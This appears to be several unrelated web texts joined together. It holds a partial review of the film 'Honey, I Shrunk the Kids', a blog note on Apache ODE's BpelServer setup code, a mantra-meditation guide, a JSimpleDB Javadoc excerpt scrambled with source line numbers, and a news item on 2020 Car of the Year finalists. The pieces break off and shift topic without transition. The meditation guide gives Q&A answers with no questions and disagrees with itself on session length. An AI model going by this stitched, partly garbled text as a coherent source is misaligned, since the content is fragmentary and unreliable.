Wayne returns home after having been snubbed by his peers at a scientific conference and proceeds to trash the contraption. Sweeping up the resulting debris -- as well as his progeny -- he dumps them in the garbage. What follows are the four Lilliputians' big adventures trying to get across the lawn, and back to normal size, before dark.
Realizing that it's literally a jungle out there now, Amy comments off- handedly to her pint-sized brother "We're not in Kansas anymore, Toto," to which he retorts, "We're not in the food chain anymore, Dorothy." That aside, and Amy's "I have six hours to get home, get big and get to the mall!" are two of the better lines in the movie. There's a cute relationship developed between Amy and Russ, and the film does make some valid points about living in suburban harmony and all that neighborly rigmarole.
The special effects range from downright cheesy to generally effective. Of particular note are the flight of the bumblebee -- an exciting addition to the traditional buttercups-as-beanstalks scenario -- and the exploding droplets of water from the lawn sprinklers. And, except for the demise of an endearing ant, the film keeps everything in perspective and is amusing and light-hearted throughout. The image of Moranis and Strassman dangling from a clothes line with binoculars trained on the grass is a particularly silly one.
In order to appreciate just how engaging the film is, one need look no further than "Tummy Trouble," the Roger Rabbit cartoon which accompanies it. That film, in direct contrast, is crass, mean-spirited and unbelievably violent. Children about to go into hospital could easily be affected by this Maroon Cartoon's misguided portrayal of doctors and surgical procedures.
Viewers of HONEY, I SHRUNK THE KIDS, on the other hand, might well think twice before stepping on an ant again. It's certainly a most uncomfortable pairing, and one which should have Uncle Walt turning over in his grave.

It makes the following points
And not much else…


Exploring ODE Part IV: BpelServer API
If you look at the ODE source code, the BpelServer API is a very important one. In this entry, we will look at the class that how we use the BpelServer, for the ODE, lets look at the ODEServer source code.
__log.debug("Initializing transaction manager");
initTxMgr();
__log.debug("Creating data source.");
initDataSource();
__log.debug("Starting DAO.");
initDAO();
EndpointReferenceContextImpl eprContext = new EndpointReferenceContextImpl(this);
__log.debug("Initializing BPEL process store.");
initProcessStore(eprContext);
__log.debug("Initializing BPEL server.");
initBpelServer(eprContext);
__log.debug("Initializing HTTP connection manager");
initHttpConnectionManager();
// Register BPEL event listeners configured in axis2.properties file.
registerEventListeners();
registerMexInterceptors();
registerContextInterceptors();
...
As above code shown:
- Initialized the TransactionManager, which will be used in the datasource and scheduler service.
- Created the data source.
- Created the DAOConnectionFactory, the extension API is BpelDAOConnectionFactory.
- Created the EndpointReferenceContext, which takes care of resolving EndpointReference.
- Created the Process Store, it takes care of process deploying, undeploying, list etc.
- Initializing the BpelServer, includes following actions: setMessageExchangeContext, setDaoConnectionFactory, setBindingContext, the BindingContext and the MessageExchangeContext are the extension points for communicating with partner services.
- Register the EventListners, MexInterceptors etc, these are all the APIs in BpelServer.
You also could see how we initialize the BpelServer in the MockBpelServer class. In the Riftsaw project,it is in the BpelEngineImpl class. In the Riftsaw project, we are adding another implementation for the ProcessStore that leverages the JBoss Application Server's Deployer mechanism, also we adding another implementation for the BindingContext that use the JAXWS based approach, which used the JBossWS to accomplish.

Keep this mantra to yourself and try not to say it out loud.
Everyone can meditate. It doesn't have anything to do with religion or spirituality, it's simply a tool to help you think more clearly and to calm your monkey mind. On this site, you'll find a simple step-by-step guide to mantra-based meditation.
At its core, meditation is simply about abstaining from conscious mental activity. This is usually done by focusing on your breathing or on a mantra.
There are many schools of thought around this, but on this site, we'll teach you a simple mantra-based meditation.

The key idea is to not associate the mantra with anything. That way it doesn't spur any thoughts or feelings while you meditate.
To keep it neutral, you will be given a mantra. Avoid sharing your mantra with others or saying it out loud.
To get your mantra, click here:
Find a quiet space where you can sit uninterrupted for 20 minutes. Make sure you have a stopwatch or clock nearby so you can track your time.
In the start, your body might feel itchy or uncomfortable. Take time to get comfortable; this is especially important.
There is no correct rhythm or speed; simply repeat your mantra in a way that feels natural to you. It might get louder or quieter as you meditate; that's very normal. If a thought pops into your head, calmly direct your attention back to your mantra.
Once the 15 minutes are over, stop repeating the mantra and let your mind relax for 3-4 minutes. Feel free to lay down and let your mind wander during this time.
A: This will happen; just keep meditating. If it's particularly irritating, feel free to stop repeating the mantra and focus your attention on the sensations for a while as you lean into them.
A: Get more sleep.
A: Some people feel a clear shift happening after doing two sessions a day for a week or more.

Incompatible Schema Changes
 035 * 036 *
 037 * JSimpleDB supports arbitrary Java model schema changes across schema versions, including adding and removing Java types. 038 * As a result, it's possible for the previous version of an object to contain reference fields whose Java types no longer exist 039 * in the current Java model. Specifically, this can happen in two ways: 040 *
 041 *
A reference field refers to an object type that no longer exists; or
 042 *
An {@link Enum} field refers to an {@link Enum} type that no longer exists, or whose constants have changed
 043 *
 044 * 045 *
 046 * In these cases, the old field's value cannot be represented in {@code oldValues} using the original Java types. 047 * Instead, more generic types are used: 048 *
 049 *
For a reference field whose type no longer exists, the referenced object will be an {@link org.jsimpledb.UntypedJObject}. 050 * Note that the fields in the {@link org.jsimpledb.UntypedJObject} may still be accessed by invoking the 051 * {@link org.jsimpledb.JTransaction} field access methods with {@code upgradeVersion} set to false (otherwise, 052 * a {@link org.jsimpledb.core.TypeNotInSchemaVersionException} is thrown). 053 *
For {@link Enum} fields whose type no longer exists or has modified constants, the old value 054 * will be represented as an {@link org.jsimpledb.core.EnumValue} object.
 055 *
 056 * 057 *
 058 * In addition to Java types disappearing, it's also possible that the type of a reference field is narrower in the current 059 * Java code than it was in the previous Java code. If an object held a reference in such a field to another object outside 060 * the new, narrower type, then upgrading the object without change would represent a violation of Java type safety. 061 * Therefore, when any object is upgraded, all references that would otherwise be illegal are cleared (in the manner of 062 * {@link org.jsimpledb.core.DeleteAction#UNREFERENCE}); use {@code oldValues} to access the previous field value(s) if needed. 063 *

Final seven 2020 Car of the Year candidates announced
NEW YORK, Nov 26 — The shortlist of 2020 Car of the Year finalists has been revealed. Among the candidates are Tesla’s Model 3, Porsche’s electric Taycan and Toyota’s enduring Corolla.
Every year since 1964, the Car of the Year organisation brings together dozens of car experts hailing from over 20 different countries to name one vehicle the “Car of the Year.”
Last year’s winner was the Jaguar I-Pace. The vehicle was given the award primarily for its “value for money” and innovation. Kia’s Ceed had lost the title by only three points.
Today, the number of candidates for the next prize dropped from 35 to seven. The list of the finalists is as follows:
- BMW 1-series
- Ford Puma
- Peugeot 208
- Porsche Taycan
- Renault Clio
- Tesla Model 3
- Toyota Corolla
The award winner will be announced at the Geneva International Motor Show on March 2, 2020. — AFP-Relaxnews
